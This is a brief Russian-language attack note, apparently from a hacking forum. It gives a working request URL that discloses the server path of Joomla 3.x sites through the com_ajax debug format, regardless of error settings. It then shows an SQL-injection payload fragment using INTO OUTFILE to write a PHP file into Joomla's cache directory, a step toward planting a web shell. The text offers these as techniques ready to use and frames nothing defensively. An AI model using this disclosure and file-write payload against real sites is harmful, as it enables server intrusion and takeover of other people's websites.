Joomla 3.x

Раскрытие пути

Работает вне зависимости от "error_reporting" и "display_errors"

/index.php?option=com_ajax&format=debug&module=1

Например, полный путь необходим для выгрузки в файл [sql-inj]+into+outfile+'/path/to/joomla/cache/s.php'--+-